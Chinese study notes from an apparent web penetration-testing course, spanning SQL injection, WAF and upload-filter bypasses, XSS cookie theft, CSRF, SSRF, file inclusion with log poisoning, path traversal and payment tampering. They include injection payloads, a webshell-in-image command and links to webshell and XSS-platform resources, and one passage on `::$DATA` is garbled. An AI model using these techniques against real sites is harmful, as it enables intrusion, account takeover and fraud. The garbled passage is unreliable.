·域名的概念
万网等三方软件注册域名
FQDN=主机名+域名
二级域名,三级域名…
域名的发现对于安全测试的意义:帮助我们在安全测试的时候来发现通个服务器的多个服务,
例如通个服务器发布的主站和从站,我们可以通过从站的漏洞来间接渗透主站
·dsn服务
正向解析:将域名解析成为IP地址
反向解析:将IP地址解析成为域名
本地host文件
ping域名的时候会首先检测本地hosts文件中是否存在该dns解析,如果有的话,则直接返回相应的ip地址,反之则访问指定好的dns服务器,且当dns服务器返回ip地址之后,本地hosts文件会学习这条ip解析。
CDN:
缓存节点技术
超级ping
常见dns攻击
1:dns投毒
2:dns劫持
常见的脚本语言
1:php
2: java
3: asp
4: jsp
后门
什么时候们:攻击者留下的webshell,用于下次入侵提权,由基于网站的,有基于微web前端的,有基于服务器的。可以将后门想象成一个管道,方便入侵者的提权。
后门免杀
Web
Web组成:网站源码:
操作系统:windows linux
中间件 :apache iis tomcat nginx
数据库 :mysql sqlserver Oracle db2
网站源码漏洞
Sql注入 文件上传 xss 代码执行 变量覆盖 逻辑的漏洞 反序列化
网站的架构和app上的架构都是大致相似的 ,,二者的漏洞是相通的。
中间件漏洞
数据库漏洞
系统层面的漏洞
第三方软件应用的漏洞
http/https
代理:存在于客户端和服务器端之间,可存在数据篡改和截取的威胁
http:超文本传输协议
https:加了密的超文本传输协议
Request 请求 :请求方式 请求文件 版本
post请求
response相应:状态行 ,相应头标,空行,响应数据
http的请求方式一共有八种
1、OPTIONS
返回服务器针对特定资源所支持的HTTP请求方法,也可以利用向web服务器发送‘*’的请求来测试服务器的功能性
2、HEAD
向服务器索与GET请求相一致的响应,只不过响应体将不会被返回。这一方法可以再不必传输整个响应内容的情况下,就可以获取包含在响应小消息头中的元信息。
3、GET
向特定的资源发出请求。注意:GET方法不应当被用于产生“副作用”的操作中,例如在Web Application中,其中一个原因是GET可能会被网络蜘蛛等随意访问。Loadrunner中对应get请求函数:web_link和web_url
4、POST
向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST请求可能会导致新的资源的建立和/或已有资源的修改。 Loadrunner中对应POST请求函数:web_submit_data,web_submit_form 其请求的内容体放在数据包的后面
5、PUT
向指定资源位置上传其最新内容
6、DELETE
请求服务器删除Request-URL所标识的资源
7、TRACE
回显服务器收到的请求,主要用于测试或诊断
8、CONNECT
HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。
两种请求的数据包格式
http状态码
1xx:收到请求,继续处理 存在
2xx:访问成功 存在
3xx:重定向 不一定
4xx:客户端错误 403 存在 404 不存在
5xx:服务器错误 不存在
御剑:根据返回来的状态码来判断文件是否存在
burpsuit抓包工具
-
抓包代理工具,当设置了代理后,浏览器访问网络时其数据都会先交给burpsuit,再由burpsuit决定是否放行数据包。返回的数据包也要经过代理。
ps:只有方向了数据包,浏览器才能访问到资源,否则就会一直加载 -
某些网站在访问的时候会获取我们的个人电脑信息,而这些电脑信息都是通过数据信息来传输的,因此我们就可以通过burpsuit的抓包工具来进行伪装
案列1 用浏览器来访问app访问的页面
有些网站时不允许浏览器访问的,但是他能通过app来访问,通过burpsuit抓包我们可以看件二者的请求数据包是很不一样的,因此我们可以在电脑上安装一个模拟器,来通过app访问页面,并抓取到app的数据请求数据包,将其复制下来,再将其复制到浏览器的请求包中,以此来伪造自己的身份,已成功访问到目标页面
CTF或案例分析
在线靶场:www.mozhe.cn 墨者学院
身份信息伪造 经agent的信息修改成iphone 2g
伪造浏览器信息 将数据包中的refer修改成google
修改请求方式 将get的请求方式修改成post方式 ,并且将content的内容复制到请求书数据包的最后面
投票系统缺陷 通过伪造IP地址来实现
##day03
常见搭建平台脚本启用
- 域名/IP解析安全问题
大多数情况下,我们通过域名来访问网站时,都是访问呢到的www/blog目录,但如果通过ip地址来访问网站时都是访问到的www目录中的某个默认页面
- 常见的后缀名解析对应的安全问题
网站上的ISAPI扩展决定了网站能解析那些文件后缀名
常见测试中的安全问题
网站访问时的匿名访问
https://www.vulhub.org 漏洞测试网站
day04 web源码拓展
前言: WEB源码在安全测试中是非常重要的信息来源,可以用来代码审计漏洞也可以用来做信息突破口,其中WEB源码有很多技术需要简明分析。比如:获取某ASP源码后可以采用默认数据库下载为突破,获取某其他脚本源码漏洞可以进行代码审计挖掘或分析其业务逻辑等,总之源码的获取将为后期的安全测试提供了更多的思路。
√关于WEB源码目录结构
√关于WEB源码脚本类型
√关于WEB源码应用分类
√关于WEB源码其他说明
不同的网站源码有不同的安全漏洞,不同的应用目的也有不同的漏洞,不同的框架有不同的漏洞
数据库配置文件:用于网站和数据库之间相互数据交流
源码获取途径:淘宝,咸鱼,搜索,第三方源码
总结:关注应用分类及脚本类型估摸出可能存在的漏洞(其中框架类例外),在获取源码后可进行本地安全测试或代码罪计,也可以分析其目录工作原理(数据库备份bak文件等),未获取到的源码采用各种方法想办法获取!
CMS识别
ASP和PHP的源码漏洞测试
当我们拿到一个网站后,我们应该优先去收集网站的一些基本信息,如网站源码的编写方式(在url哪里可以看到)和网站的版本(一般在网页的最下面)。当我们得到了版本信息后,我们就可以通过各种方式去手机网站的源码(淘宝,咸鱼,搜索,第三方灰色软件)从而得到网站的目录结构,再通过网站ip+文件名的类型来抓取到网站的信息(如账号密码),再利用账号密码来登录其admin
基于不同用途的漏洞/电商业务逻辑漏洞
用burpsuite抓包来修改数据包中的金额或者是数量,来白嫖
简要目标从识别到源码获取
day05 系统以及数据库
识别操作系统
- 通过url中修改大小写来区别操作系统 linux对于大小写敏感 windows对于大小写不敏感
- 通过ping的 ttl来区别 128 windows
- nmap来探针
MYSQL注入
墨者网站在线靶场
- 简单的流程
step1:通过修改url中的id=更具其回显来判断是否有可控变量的存在
step2:当我们判断到能够存在注入点时,我们应该接着判断是数字型注入还是字符型注入
step3:假如是数字型注入,我们接下来就应该通过order by 2345的方式来判断其有多少个字节,在通过 and 1=2 union select 1,2,3,4的方式来判断那个位置的参数要显示到屏幕上。
step4:构造sql语句来获取database(),version(),user(),@@…来获取相关信息
step5:根据已知的数据库名来爆破表名, and 1=2 union select 1,(group_concat(table_name)),3,4 from information_schema.tables where table_schemata = “mozhe_Discuz_StormGroup”
step6:利用step5获取到的表名来接着获取字段名 and 1=2 union select 1,(group_concat(column_name)),3,4 from information_schema.columns where table_name = “xxxxxxxxxx”
step7: 获取到字段名后,我们就可以利用已知的字段名 和表名来抓取到一些敏感信息了 , 如账号密码。
高权限注入:当我们通过user()获取到高权限的账户时,我们就可以利用这个高权限来获取其他数据库的信息,就是所谓的跨数据库注入
文件读写操作: 读 loadfile(路径) 获取到指定路径的文件信息
写 into outfile into dumpfile 直接上传 后门信息
select 'x’into outfile d: /www.txt
sql语句会将反斜杠进行强制转移 因此在写路径时要多写一个反斜杠
通过loadfile()
路径获取方式:报错,遗留文件,漏洞报错,平台配置文件,爆破等
防范措施:魔术字 开启后,会将可控变量中的 \ ()等字符进行强行转移,从而导致文件的路径不正确,也就限制了文件读写漏洞
内置函数 通过if条件语句来进行判断,当判断到可控变量时字符时,就会直接报错
关键字过滤 过滤掉select等关键字
waf防火墙,宝塔
提交注入
- 数字类型:数字,字符,搜索,json
- 提交方法:put get cookie 单个接受
request 全部接受
对方是什么方式提交数据 我们就用什么方式进行注入
http数据包注入
字符型注入:在查找注入点时,我们应该优先判断是为整型还是字符型 id=‘x’ 所以我们在注入的时候就要考虑如何 将引号注释掉或者是正确的引用
lnmp环境搭建 wget http://soft.vpser.net/lnmp/lnmp1.8.tar.gz -cO lnmp1.8.tar.gz && tar zxf lnmp1.8.tar.gz && cd lnmp1.8 && ./install.sh lnmp
https://www.cnblogs.com/NexTen/p/7671280.html
oracle mongodb
明确注入数据库的权限,类型 明确提交方式,参数类型
addess 数据库和前端网站放在同一个目录里面,不想mysql,二者妨碍不同的地方,且access数据库支持的函数很少,没有类似于loafile 他只有一个表,没有所谓的information_schema 爆破这种数据库,只能全靠猜,当我们猜测对了,才能有回显,没猜对,就没有任何显示
sql-server 借助工具穿山甲,把目标网站的url 放到穿山甲里面就能直接注入
不同的网页功能对应着不同的sql语句 如登陆时的select 注册时的insert 删除是的 del
不同的语句,其表现形式不同,也就意味着我们封闭符号的位置不同,注入位置不同
盲注,就是在诸如过程中,前端页面没有明显的回显,不能我们怎么输入sql语句他都不报错,这种时候我们就应该考虑使用sql盲注
-
基于不二的sql盲注----逻辑判断
regexp,like , ascii,left,ord, mid -
基于时间的sql盲注
if(length(database())=8 ,sleep(6),1) 正确时就会延时,不正确就会直接返回 if(left(select table_name from information_schema.tables where table_schema = “security” ))
like 'ros ’ #判断ro或ro…是否成立
regexp ’ ^xiaodi [a-z]’ #匹配xiaodi及xiaodi…等
if(条件,5,0) #条件成立返回5反之返回0
sleep (5) #sQz语句延时执行s秒
mid ( a,b, c) #从位置b开始,截取a字符串的e位
substr ( a,b, c) #从b位置开始,截取字符串a的c长度1
left (database(),1), database () #left (a,b)从左侧截取a的前上
length (database ( ))=8 #判断数据库database ()名的长度
ord=ascii ascii(x)=97 判断x的ascii码是否等于97
- 基于报错的盲注
floor extractvalue(xx,concat(a,database)) updatexml(xx,concat(xx,database()) , sad )
updatexml 大概率在数据更新的时候使用
补充:access暴力猜解
加解密注入
通过burpsuite抓包工具来抓包,在加密
后端的php代码有对cookie值进行解密操作,因此,我们要想进行注入的化,就必须要将sql语句进行加密,这样在解密之后才能正常查询
cookie注入的基础上,再有加密
一般== 的就是base64加密
dns注入
二次注入
二次注入不能够通过工具扫描出来,他的注入方式时分为两步的,首先第一步,按照网站的正常操作将我们的数据输入到数据库中,这个数据本身是无害的,第二步,利用我们之前第一步放到数据库中的数据,来联合查询,构造sql语句
列入:第一步:我们先按照网页的注册流程注册 username=‘www’ password=‘ddd’
第二步: http://…username=‘www’ and 1=1 union select…
里外应和
前端限制长度,还是后端限制长度 前端的长度限制可以更改
带外注入/dnslog: 要求数据库的用户是高权限
中转注入, 当我们遇到加了密的网站时,我们就可以利用中转加密的方式来进行注入
首先是利用url将目标网站的信息爬取下来,其次在将进行了x进行base64加密,再将其拼接到url的后面进行注入。
再利用sqlmap运行这个脚本,让sqlmap将他的所有注入语句加密后,再进行注入
堆叠查询注入
就是将多条注入语句一起执行 select … ; select …;
但是堆叠语句有限制,只能是个别数据库才能注入
当我们在注入时遇到无法获取到账号和密码时,就可以用堆叠注入来向管理员数据库添加夜歌自己知道的账户,或者是用update来更新管理员账户的密码,从而来达到获取权限的目的
在常见情况下,数据库中常用一个数字来分别普通用户和admin用户,例如mytype,因此我们在写入账户的时候便可以通过修改mytype来达到提权的目的
waf绕过
-
宝塔
-
安全狗,一种网站安全防护waf,其能过滤各种注入,post,get,select,和一些列的工具扫描,但是为了不影响网站的正常使用,其一般不会把防护全都打开,因此我们就需要判断吧他那些做了防护,那些没有做防护,然后针对那些没做防护的环节进行注入。
当我们在进行注入是,应该优先判断其是什么方式传参的,post 还是 get 而或是 request
大小写 加密解密 编码解码 等价函数 特殊符号 反序列化 注释符混用
过滤 database() 是过滤的一个整体 我们就需要对这个过滤进行绕过,再不影响数据库语句执行的前提下,又能绕过过滤 比如说 database/**/()
参数污染
fuzz 是一种思路,用脚本硬测试,类似于爆破
-
IP地址白名单绕过
再知道对方白名单IP的前提下,利用burpsuite来炸爆修改xxf的数据,以此来绕过,但是有局限性,当对方是通过tcp等底层来获取ip时,就没办法修改了,如果是利用脚本来获取的,则可以修改 -
静态资源
特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css等等),类似白名单机制,waf为了检测效率,不去检测这样一些静态文件名后缀的请求。
http 😕 /10.9.9.201/ sql.php ?id=1
http 😕/10.9.9.201/sql.php/1.js?id=1
备注:Aspx/php只识别到前面的.aspx/ .php后面基本不识别 -
url白名单
-
爬虫白名单
部分waf有提供爬虫白名单的功能,识别爬虫的技术—般有两种:1、根据userAgent 2、通过行为来判断
伪装成浏览器爬虫来扫描网站,把自身的身份伪装成搜索引擎,又因为大多数的搜索引擎都在安全狗的白名单里面,因此我们就可以利用这个进行绕过
UserAgent可以很容易欺骗,我们可以伪装成爬虫尝试绕过。6 user Agent switcher (Firefox附加组件),下载地址:
https : / /addons.mozilla.org/en-us/firefox/addon/user-agent-switcherl -
sqlmap
tamper脚本 自动绕过waf -
中转注入
本地搭建一个脚本(请求远程地址数据包可以自定义编写)->远程地址
sqlmap去注入本地的脚本地址
文件上传,基于黑白名单
常规文件上传 cms文件上传 编辑器文件上传
- 什么是文件上传漏洞?
- 文件上传漏洞的危害? 直接上传webshell后门,提权
- 文件上传漏洞如何查找和判断? 扫描工具,会员中心的上传,
上传文件后会返回一个路径
在图片中添加一句话木马 要配合解析漏洞 来实现 图片解析成php linux
前端js过滤的话,我们可以直接修改去html源码,删除相关的过滤语句
将网站源码down下来 将js代码删掉 再在form表单中添加一个action,指定文件上传的网络路径 该网站路径可在原来的网页http数据包中获取
抓包修改文件后缀名
docker -compos logs | grep passwd 看密码
docker -compose config 看端口
文件上传常见验证:
后缀名,类型,文件头
后缀名:黑名单,白名单
文件上传黑名单:可明确拒绝的文件类型 asp php jsp aspx cgi war 存在记录不全的漏洞
文件上传白名单 :可以上传的文件格式 jpg zip png rar
文件类型:MIME信息
- 数据包中的content-type: image/gif
文件头:内容头信息
不同的文件,其头部信息是不同的,因此我们可以通过修改数据包中的文件头信息修改成允许上传的文件头信息,来进行绕过
$_FILES[ 'uploadfile '][ 'name ’ ] ; 用于获取上传文件的名字/类型/大小等, 获取之后,便可以以此来进行过滤
后缀名mime:
黑白名单:
特殊解析后缀:过滤了php 但是没有过滤 php5 php5也是一种脚本格式 但是也需要其后端服务器能够解析php5,脚本才能起作用
.htaccess : apache中间件 伪静态
上传了上述内容的.htaccess的文件之后,和他同目录的名为shana文件在执行的时候就会以
application/x-httpd-php 的名字来运行
后缀名的大小写: php文件没有对空格进行过滤,且服务器的操作系统没有对空格进行强制性的删除。 就可以通过 在php后面加上一个空格 ,组装成php 的格式来绕过黑名单检测
后缀名加 .
:: D A T A p h p 在 w i n d o w 的 时 候 如 果 文 件 名 + : : DATA php在window的时候如果文件名+ :: DATAphp在window的时候如果文件名+::DATA"会把SDATA之后的数据当成文件流处理不会检测后缀.且保持":$DATA"之前的文件名他的目的就是不检查后缀名…
过滤: 代码将字符串里的php替换为空—次过滤
a.php a.
a.pphphp a.php
循环过滤递归过滤 a.pphphp a. 双写
白名单:MIME
%00截断 get不需要解码 能自动将 空格 引号 等 转换成url编码 但是post不可以 post需要人为解码解码 且这里的%00是url编码 而不是普通文本中的%00
0x00截断
0x0a截断
$img _path = $_GET [ ’ save_path’ ]." / ".rand (10,99).date (“YmdHis” ) . " . " $file.ext
?save_path=. ./ upload/1.php%00
…/ upload/1.php%001112132321.jpg ------》…/upload/1.php
文件上传,内容逻辑数组绕过
-
文件包含漏洞,在文件中插入恶意代码
图片一句话制作方法:
copy 1.png /b + shell.php / a webshell.jpg -
服务器端先将文件存储到了一个临时文件夹,在进行黑白名单后缀名过滤,满足的化,则将其进行重命名,否则的话,就将其进行删除。 这里就有个先后顺序在这里面,要知道操作系统是无法删除正在编辑或者是使用的文件的,因此我们就可以利用burpsuite的 intructer 工具不断地去发送请求,然后再浏览器疯狂的访问那个文件,争取某一瞬间能优先于文件被删除之前访问到文件,这样就能将“删除”这个动作无效化
3.修改server_name 以此来进行绕过 upload/ypload-19.php/. 这种会被后端服务器认定为文件夹,从而绕过检测 同时也可以通过post隔断的方式来进行绕过 upload/1.php%00.jpg
- 修改上传文件的文件头来实现绕过 GIF89a
- 上传木马图片,在正常的图片中插入一句话木马,并将其上传,再结合网站中间件或操作系统本身的解析漏洞,来实现jpg文件php运行
- 文件上传漏洞不仅仅存在于网站前后端的代码漏洞,还有可能存在于搭建网站的中间件,中间件也可能存在漏洞,例如
- vulhub靶场
- 解析漏洞 常见于中间件上,可以配合文件上传进行图片木马的上传
iis6.0 文件夹 image/qq.jpg image.asp/qq.jpg qq.jpg就会被当作成asp代码执行
xxx.asp:xxx.jpg 访问xxx.jpg就会返回一个asp的脚本执行结果
跨站脚本攻击xss
常见于,留言板,下订单的地方
- 传参的时候能够传送js脚本语言,且目标服务器能够解析这种脚本语言
产生在浏览器的前端代码漏洞 常见的输出类函数 获取cookie 和浏览记录
浏览器版本的内核决定了其xss是否能够执行 如果浏览器版本足够高,则无法执行·
存储型 常见于留言框 ,输入的js脚本存放在了数据库中,因此当我们每次访问那个网页的时候都会进行弹窗,直达js脚本被删除
反射性 只攻击一次
dom型 发包x=xiaodi=>本地浏览器静态前端代码=x.php
dmo树 url传参 ,遍历节点
将xss代码写入到目标网站中去,当其他人或者是管理员来点击这条信息时,就会被攻击,备货区cookie信息等
xsshs.cn 跨站平台 工具 beef
登陆过平台之后,才有cookie 因此,如果管理员没有登陆,即使你xss注入成功了,也无法获取cookie
xss跨站脚本普遍存在,但是受限制十分多,例如网站本身的限制,网站高权限用户不登陆也无法获取cookie,或者是浏览器清除cookie值,而或者是对方不触发你的漏洞地址,也不行。
cookie 用户的凭据,通过cookie可以判断对方的信息 存储再用户本地的,存活时间较长
session 作用同上,存储在服务器端,存活时间较短
订单以及shell箱子反杀
- 当我们再目标网站发现了存在xss playlood之后,我们就可以到xss平台上面,将那段窃取cookie的代码再次注入到之前测试地方,当服务器后端管理员进行了登录,且出发了xss漏洞之后,物品们就可以再xss平台哪里获取到目标网站的网址信息,以及相关的管理员cookie值,利用这两个东西,再加上postman,就可以登录到网站后台
http://xss.fbisb.com/
https://github.com/tennc/webshell
https://www.postman.com/downloads/
https://pan.baidu.com/s/1IlUZvEVXs1du-Bmkt7-abA提取码:xiao
https:/pan.baidu.com/s/13H4N1VTBVwd3t8YWpECBFw提取码: xiao
- 除了利用平台,还可以手写代码,来实现cookie的获取
代码绕过以及httponly
- 当对方的网站设置了httponly之后,我们就我发通过xss来获取到对方的cookie,也就无法实现我们想要登陆到对方后台的目的。每当我们明明xss成功了,但是就是没有获取到cookie时,我们就可以考虑httponly
- httponly虽然可以防止我们获取到cookie,但他并不能够防止xss
- 当对方开启了httponly之后,我们就需要考虑别的方法来获取登录信息了
对方管理员习惯性的将登录信息保存到浏览器时,我们就可以通过xss来获取其浏览器信息的缓存,以此来得到想要的账号密码信息
当对方没有在浏览器缓存登陆信息时,我们就可以通过表单劫持的方式,来获取到管理员登陆后台是提交的账号密码数据
ps:上述两种方法都是建立在我们能够将xss代码注入到对方服务器的源码中,才可以执行的,
https://github.com/doOdl3/xss-labs
https://www.cr173.com/soft/21692.html
https://www.oschina.net/question/100267_65116
绕过: 闭合前方的尖括号 当尖括号被转义,无法使用 我们就可以通过其他的方式来触发xss 如 ’onclick’ =alert() 和鼠标移动等来触发
- csrf
xiaodi8后台添加管理员的数据包:
www.xiaodi8.com/adduser.php?username=xd&password=123456
比如某鸟人在自己博客: www.woaixiaodi.com
首页文件加入代码:(访问这个url地址)
小迪在某天吃西瓜的时候看到这个鸟人的博客并打开了访问,如果此刻小迪浏览器是登录状态的情况下,会发生什么事情?自动添加了一个管理员
因此为了防止上述攻击,有了 检测来源 同源策略—》是否为同意来源
这个来源时小迪吧上鸟人博客地址,并非是小迪本身的地址,因此不满足同源,所以不能创建
xss不仅仅出现在url框 留言框 订单等前端能明显看到的地方,还能出现在http的头部,例如ip cookie 如果对方服务器要获取到你的http头部中的某个信息,你就可以将相应的信息修改成xss代码。
总而言之一句话,xss跨站脚本攻击,就是先找到一个可以输入的地方,当我们修改这个地方的数值是,能被其他人所看到,能被别人触发到, 在测试xss漏洞时, 不仅仅局限于前端的框框,还要考虑到http的头部,甚至是对方后端服务器的代码。
xss漏洞的waf拦截以及安全修复
1.waf针对 <> 和其中的个别字符进行拦截 例如拦截 不拦截<23>
垃圾字符填充
/ 符号在javascript中作为符号干扰来使用 代表着结束标签
xssstrike 工具
防范:开启httponly 开启输入过滤,输出过滤
csrf和ssrf漏洞
- csrf 跨站请求伪造 a在自己的网站上,或者是其别人的网站上添加一个js代码(添加账号密码的), 然后引诱网站管理员来点击这个代码,以此来触发js语句,从而用创建用户,且是用管理员权限创建的。有点类似于xss跨站脚本攻击,但是csrf更倾向于利用管理员的权限来做事情,而xss是获取管理员的cookie等敏感信息
csrf一般是用来 添加,更新,修改账号等功能的 ,如果目标网站没有这个功能,则大概率没有csrf漏洞
防范:
- 设置随机token
2:同源策略 检测refer的来源 但这里的同源可以通过抓包修改
但也要知道 其数据包的格式才行 ,比如说传输方式get/post 还有就是变量名
略显鸡肋
ssrf 服务器端请求伪造
本地上传
远程上传 伪造一个恶意网站 上传到目标服务器之后,目标服务器就会根据我上传的网址,去访问那个网站,从而被攻击 xss
还有就是直接上传 http://127.0.0.1 服务器自己请求自己的数据 127.0.0.1:3306 也可以探测目标服务器同网段的内网其他服务器的信息 可以将这个上传服务器理解成一个跳板,我们原先没法访问内网的其他主句,但是可以访问这个对外开放的上传服务器,又因为这个上传服务器存在ssrf漏洞,能探针到内网的其他主机信息,所以我们就可以操作上传服务器来探针内网主机情况
有道词典
目标服务器的脚本环境不同,其所支持的协议不尽相同
RCE漏洞-----代码和命令执行漏洞
- 可控变量 漏洞函数
就是后端服务器根据自身的需求,不得不向前端服务提供一个接口,接受其变量来进行操作,其后端可能是system()的命令行 或者是phpinfo之类的代码 , 因此 ,我们就可以通过在这个接口变量哪里构建命令语句,或者是代码语句 ,以此来达到攻击的效果。如利用cmd上传或者是下载文件,利用phpinfo执行某段一句话木马
代码执行
命令执行
根据网站的具体了下来区别
黑盒测试 白盒测试
墨者网站 ping xxxxxx ping 127.0.0.1 | ls
eval(xxxxxx) 将后者的 xxxxx 用php的方式去执行
poc 漏洞验证代码
exp 漏洞利用代码
eval assert exec call_user_func_arry arry_map() system() shell_exe() 等
文件包含漏洞
可控变量 函数
文件包含:就是在程序员进行代码开发是,为了方便代码的整体架构和减少代码的融合与,他们会将那些个常用的代码打包起来,然后在需要使用这些代码的时候进行调用,非常的方便。常见的文件包含调用函数
PHP
include() , include_once() , require_once() , fopen() , readfile() …
jsp/Servlet
ava.io.file() , java.io.filereader() …
asp
include file , include virtual …
include(1.txt) 1.txt里面就是一系列会使用到的代码集合, include 会将后面的文件内容以脚本的格式进行运行
因此,如果我们将include() 后面的1.txt转换成我们的恶意代码集合 ,是不是就能达到攻击的目的呢?
本地包含的意思就是,恶意文件存在于服务器本身 可以通过 include(绝对路径/相对路径)的方式进行调用
远程包含的意思就是,恶意文件在互联网的另一个地方 , 需要使用 include(网络路径)的方式进行调用
远程文件包含 要求了 php的 allow_url_include 拓展打开了 才能行
本地包含 无限制,有限制
如何绕过
%00截断 include(1.txt%00)
长度阶段 include (1.txt././././././././././././././././././././././././) windows 256 linux 4096 有点类似于垃圾字符填充
各种协议流玩法
修复:固定文件,减少传参 固定后缀名 安装waf产品
案例:墨者 ctf
当我们发现莫某个网站存在文件包含漏洞时,可以尝试判断一下其是本地上传 还是远程上传(最基本的方法就是,尝试远程上传,看起是否报错啥的) 能远程包含的话,我们就可以包含调用自己的js脚本,而或者是使用上面所说到的协议流玩法,来对目标服务器的文件进行查看和读写等操作。 如果不能远程包含,只能包含本地的文本的化,我们就可以尝试着修改其本地文件的内容,那么应该怎么修改呢?日志文件!!!!!日志文件是可变的,虽然说我们不可以直接对其内容进行修改,但是可以通过间接的方式对其进行修改,例如使用目标网站的url进行远程包含,且包含的内容是一个木马语句。因为其服务器是不能够远程包含的,所以我们这个远程包含木马的操作必然会报错,且日志文件会记录下这一行为,并生成相应的日志信息,日志信息中就包含一句话木马。这时候,我们就可以通过菜刀来连接这个一句话木马了。
还有种方法就是,如果目标服务器是本地包含,我们也可以尝试是否能够上传一个文件上去(前提是能有文件上传这个功能,如果没有的话,直接不考虑这种方法), 直接上传一个合乎黑白要求的jgp文件,再利用其本地文件包含漏洞,将jpg文件用脚本的格式运行。(当我们无法绕过文件上传的限制时,就可以考虑其是否能够和文件包含漏洞结合使用)
文件读取和下载漏洞
任意语言代码下载功能函数
- 存在于文件读取和下载的地方
直接再filename后面跟文件的相对路径或者是绝对路径,来下载相应文件, 跳一级 …/ 2级 …/…/
如果要获取mysql等敏感信息 ,就需要获取其相应的路径 , 路径的获取可以通过工具扫描,爬行,或者是猜测常见的 例如/usr/local/msyql
znds.com
#文件名,参数值,目录符号
read . xx?filenaqme=
down. xxx?filename=
readfile.xxx?file=downfile.xxx?
file=…/ …\ . \ ./等
%00 ? %23 %20 .等
&readpath=、&filepath=、&path=、&inputfile=、&url=、&data=、&readfile=、&menu=、META一INF= 、WEB一工NF
通过扎数据包来判断其服务器的操作系统类型,中间件类型,然后尝试下载其默认重要文件的位置 如/var/log下的内容等
文件读取 其原理和文件下载大差不差,只是前者是下载文件,而后者是读取文件
小米路由器,任意文件下载
逻辑漏洞水平垂直越权
用户a和用户b 是在同一级别的 ,但是a能访问到用户b的私密文件。 甚至是修改用户b的文件内容
用户a是用户b的上级,但是用户b能够访问到用户a的私密文件,而或者是修改用户a的文件信息,垮了级别
原理:程序员在软件开发的时候对于用户之间的cookie等个人信息的认证不够完善,导致黑客能够通过修改数据包中的个别能够唯一标识用户信息的值,以此来请起到他人账户的信息,一次来达到越权的目的。
例如修改数据包中的cookie id name 等字段
某些情况下甚至可以针对型的越权,来创建新用户, 前提是你能够拿到管理员创建用户时的数据包才可以,因为在常规情况下,普通用户是没有创建用户的功能的,也就无法抓取到创建用户的数据请求包,当我们拿到了管理员的创建用户数据请求包时, 因为服务器没有对用户进行唯一标识的认证,因此,我们就可以直接在burpsuite里面,将数据包进行修改并发出,就能创建我们的用户了。
当我们没法直接获取到管理员创建用户的数据请求包时,我们可以通过一下方式来间接获取
- 盲猜
- 网上搜索源码,自己本地搭建进行测试
甚至我们还可以通过修改数据包中的level 和login 等参数,来实现权限的提升
总而言之,逻辑漏洞水平垂直越权,就是源于网站开发人员的逻辑不够严谨,认证账户时没有采取严格的cookie等绝对标识进行认证,从而导致了黑客有了可趁之机
原理:
前端安全造成:界面
判断用户等级后,代码界面部分进行可选显示后盾安全造成:数据库
user表(管理员和普通用户同表)
id, username , password, usertype
1 , admin,123456,1
2 , xiaodi,11111,2
登录用户admin或xiaodi时,代码是如何验证这个级别?(usertype判断)
如果在访问网站数据包中有传输用户的编号、用户组编号或类型编号的时候,那么尝试对这个值进行修改,就是测试越权漏洞的基本。l
逻辑漏洞之登录脆弱,支付篡改
原理,检测,危害,修复等
参考: https : / / www.secpulse.com/ archives/ 67080.html
#商品购买流程:
选择商品和数量-选择支付及配送方式-生成订单编号-订单支付选择-完成支付
#常见篡改参数:
商品编号ID,购买价格,购买数量,支付方式,订单哥,支付状态等
#常见修改方法:
替换支付,重复支付,最小额支付,负数支付,溢出支付,优惠券支付等
支付接口修改 抓取数据包,将其中的支付方式,修改成第三方的支付接口 也就是将钱支付给了别人
修改优惠券的数值
在购买东西的时候 通过抓取数据包,并且修改数据包中的商品id 购买数量,支付方式等线管数据,以此来达到用a商品的价格来购买b商品 或者是将商品的数量修改成负数,价格也就自然是负数, 或者是通过修改订单编号,用以一块钱的订单,来置换10000块钱的订单
产生原因 代码编写人员,没有针对数据包的唯一性进行限制 价格等信息 应该以数据库的为准 且应该针对购买数量进行判断 不能够为负数 且不能够超过库存的数量
逻辑越权之找回机制和接口安全
验证
数据
找回:客户端回显,response 状态值 验证码爆破 找回流程绕过
接口 : 短信轰炸 来电轰炸
回退
验证码套用 没有把验证码 和手机号进行匹配 因此 就可以用一个正常的手机号来获取验证码 再将这个验证码用于另外一个手机号码的密码重置 按照正常的情况来说 应该是将上述的页面分成两个, 第一页输入重置的电话号码 ,点击接受验证码之后,跳第二个页面。在输入验证码。这样就能保证二者的匹配
电脑操作web的前端代码---------前端代码在需要的时候调用后端的php代码 -------后端的php代码在连接数据库-------再将处理后的结果返回给前端代码------映射到浏览器----
burpsuite 抓取的是前端-----php之间的数据
客户端回显 意思就是 当我们申请验证码之后 后端的服务器会将验证码返回给浏览器 我们可以通过抓取数据包来获得
发送两次验证码 第一次的验证码是php端生成,用于前端html验证通过 第二次的验证码是html前端生成,用于php后端的验证通过 前端验证通过之后,待会想后端发送数据(数据中携带后端的验证代码 )
当后端的验证通过之后 ,才会向数据库中进行数据的更改
因此,我么可以通过用账户原本的绑定手机号,通过a手机号码 来获取第一次的验证码 ,将这个验证码用于手机号b的第一次验证通过,再抓取数据包修改其中的第二次验证码信息,让其能够通过后端的第二次验证。
状态码3-----错误 状态码1------正确
在那边验证 服务器端验证------返回3、1的状态码
客户端验证------返回3.1 用于客户端的验证 验证通过,则返回绑定成功 ,反之则错误
验证码爆破 用burp去爆 ,根据回显值是3还是1来判断验证码是否正确 ,但是这种方法的限制很多 如验证码的位数大了之后,会跑很久 如果对方的验证码设置了时间限制/错误次数限制的话,就没招 且还有图形验证码 , 算加减乘除的验证码 哈有那种找消防栓的验证码等,局限得很
用插件来实现对验证码的识别 利用burp的插件,来联合burp的爆破功能 来打组合拳
赋值验证码图片链接 抓取验证码的数据包
验证码的时效性 验证码复用
绕过 识别
根据源代码的审核情况 来判断其是否为前端验证码 还是后端的验证码
https://blog.csdn.net/char56789/article/details/109558459?utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromMachineLearnPai2%7Edefault-4.base&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromMachineLearnPai2%7Edefault-4.base
这两节课听不懂 暂时跳过
反序列化之php
序列化 就是将对象转换成字符 反序列化 就是将字符串转换成对象, 对象的序列化有利于对象的保存和传输,也可以让多个文件共享对象
有类 魔术方法 判断有无类 则查看是否存在class
不同的魔术方法,会在不同的时候进行调用,例如构造函数会在创建对象的时候触发, wakeup魔术方法会在使用反序列函式的时候调用,析构函数会在函数结束的时候调用
无类
危害 导致sql注入 代码审计 加解密
